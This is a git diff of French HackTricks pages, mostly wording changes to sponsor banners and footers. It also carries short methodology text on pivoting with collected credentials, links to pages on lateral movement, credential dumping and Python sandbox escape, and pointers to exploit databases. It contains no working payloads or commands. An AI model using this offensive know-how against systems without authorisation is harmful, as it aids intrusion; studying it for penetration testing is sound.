**Ici, vous pouvez trouver quelques** [**astuces de persistance sur l'annuaire actif**](../windows-hardening/active-directory-methodology/#persistence)**.**
|
**Ici, vous pouvez trouver quelques** [**astuces de persistance sur l'annuaire actif**](../windows-hardening/active-directory-methodology/#persistence)**.**
|
||||||
|
|
||||||
TODO: Compléter la persistance Post dans Windows & Linux
|
TODO: Compléter la persistance Post dans Windows & Linux
|
||||||
|
|
||||||
### 12 - Pivotage
|
### 12 - Pivotage
|
||||||
|
|
||||||
Avec les **identifiants collectés**, vous pourriez avoir accès à d'autres machines, ou peut-être avez-vous besoin de **découvrir et scanner de nouveaux hôtes** (commencer à nouveau la Méthodologie de Pentesting) à l'intérieur de nouveaux réseaux où votre victime est connectée.\
|
Avec les **identifiants collectés**, vous pourriez avoir accès à d'autres machines, ou peut-être devez-vous **découvrir et scanner de nouveaux hôtes** (commencer à nouveau la méthodologie de Pentesting) à l'intérieur de nouveaux réseaux où votre victime est connectée.\
|
||||||
Dans ce cas, le tunneling pourrait être nécessaire. Ici, vous pouvez trouver [**un article parlant de tunneling**](tunneling-and-port-forwarding.md).\
|
Dans ce cas, le tunneling pourrait être nécessaire. Ici, vous pouvez trouver [**un article parlant de tunneling**](tunneling-and-port-forwarding.md).\
|
||||||
Vous devriez également consulter l'article sur la [Méthodologie de pentesting Active Directory](../windows-hardening/active-directory-methodology/). Vous y trouverez des astuces intéressantes pour se déplacer latéralement, élever les privilèges et dump les identifiants.\
|
Vous devriez également consulter l'article sur la [Méthodologie de pentesting Active Directory](../windows-hardening/active-directory-methodology/). Vous y trouverez des astuces intéressantes pour se déplacer latéralement, élever les privilèges et dump les identifiants.\
|
||||||
Consultez également la page sur [**NTLM**](../windows-hardening/ntlm/), cela pourrait être très utile pour pivoter dans les environnements Windows.
|
Consultez également la page sur [**NTLM**](../windows-hardening/ntlm/), cela pourrait être très utile pour pivoter dans les environnements Windows.
|
||||||
|
@ -149,9 +149,9 @@ Consultez également la page sur [**NTLM**](../windows-hardening/ntlm/), cela po
|
||||||
* [**CBC-MAC**](../cryptography/cipher-block-chaining-cbc-mac-priv.md)
|
* [**CBC-MAC**](../cryptography/cipher-block-chaining-cbc-mac-priv.md)
|
||||||
* [**Oracle de rembourrage**](../cryptography/padding-oracle-priv.md)
|
* [**Oracle de rembourrage**](../cryptography/padding-oracle-priv.md)
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Si vous êtes intéressé par une carrière en **piratage informatique** et pirater l'impiratable - **nous recrutons !** (_maîtrise du polonais écrit et parlé requis_).
|
Si vous êtes intéressé par une carrière en **piratage informatique** et pirater l'impiratable - **nous recrutons !** (_polonais écrit et parlé couramment requis_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
@ -163,7 +163,7 @@ Autres façons de soutenir HackTricks :
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# Évasion de sandbox Python & Pyscript
|
# Évasion de bac à sable Python & Pyscript
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -8,16 +8,16 @@ Autres façons de soutenir HackTricks :
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
\
|
||||||
Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
||||||
Accédez dès aujourd'hui :
|
Accédez dès aujourd'hui :
|
||||||
|
|
||||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
@ -26,14 +26,14 @@ Accédez dès aujourd'hui :
|
||||||
|
|
||||||
* [**Astuces de piratage Pyscript**](pyscript.md)
|
* [**Astuces de piratage Pyscript**](pyscript.md)
|
||||||
* [**Désérialisations Python**](../../pentesting-web/deserialization/#python)
|
* [**Désérialisations Python**](../../pentesting-web/deserialization/#python)
|
||||||
* [**Astuces pour contourner les sandbox Python**](bypass-python-sandboxes/)
|
* [**Astuces pour contourner les bac à sable Python**](bypass-python-sandboxes/)
|
||||||
* [**Syntaxe de base des requêtes web Python**](web-requests.md)
|
* [**Syntaxe de base des requêtes web Python**](web-requests.md)
|
||||||
* [**Syntaxe de base et bibliothèques Python**](basic-python.md)
|
* [**Syntaxe de base et bibliothèques Python**](basic-python.md)
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
\
|
||||||
Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
||||||
Accédez dès aujourd'hui :
|
Accédez dès aujourd'hui :
|
||||||
|
|
||||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
@ -46,8 +46,8 @@ Autres façons de soutenir HackTricks :
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -8,9 +8,9 @@ Autres façons de soutenir HackTricks :
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
@ -39,24 +39,24 @@ is fixed running
|
||||||
pip3 install wheel
|
pip3 install wheel
|
||||||
inside the virtual environment
|
inside the virtual environment
|
||||||
```
|
```
|
||||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
\
|
||||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement** des flux de travail alimentés par les outils communautaires les plus avancés au monde.\
|
||||||
Accédez-y aujourd'hui :
|
Accédez dès aujourd'hui :
|
||||||
|
|
||||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge HackTricks AWS)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Autres façons de soutenir HackTricks :
|
Autres façons de soutenir HackTricks :
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -9,12 +9,12 @@ Autres façons de soutenir HackTricks :
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
\
|
||||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
||||||
|
@ -117,11 +117,11 @@ return 1
|
||||||
term = Terminal()
|
term = Terminal()
|
||||||
term.cmdloop()
|
term.cmdloop()
|
||||||
```
|
```
|
||||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
\
|
||||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
||||||
Accédez dès aujourd'hui :
|
Accédez-y aujourd'hui :
|
||||||
|
|
||||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
||||||
|
@ -134,7 +134,7 @@ Autres façons de soutenir HackTricks :
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -9,12 +9,12 @@ Autres façons de soutenir HackTricks :
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
\
|
||||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
||||||
|
@ -54,17 +54,17 @@ Si rien n'est trouvé, essayez de rechercher la technologie utilisée sur [https
|
||||||
|
|
||||||
### Vulners
|
### Vulners
|
||||||
|
|
||||||
Vous pouvez également effectuer une recherche dans la base de données de Vulners : [https://vulners.com/](https://vulners.com)
|
Vous pouvez également effectuer une recherche dans la base de données de vulners : [https://vulners.com/](https://vulners.com)
|
||||||
|
|
||||||
### Sploitus
|
### Sploitus
|
||||||
|
|
||||||
Cela recherche des exploits dans d'autres bases de données : [https://sploitus.com/](https://sploitus.com)
|
Cela recherche des exploits dans d'autres bases de données : [https://sploitus.com/](https://sploitus.com)
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
\
|
||||||
Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
||||||
Obtenez l'accès aujourd'hui :
|
Accédez dès aujourd'hui :
|
||||||
|
|
||||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
||||||
|
@ -77,7 +77,7 @@ Autres façons de soutenir HackTricks :
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
* **Rejoignez** 💬 le groupe [**Discord**](https://discord.gg/hRep4RUj7f) ou le groupe [**telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -14,9 +14,9 @@ Autres façons de soutenir HackTricks :
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
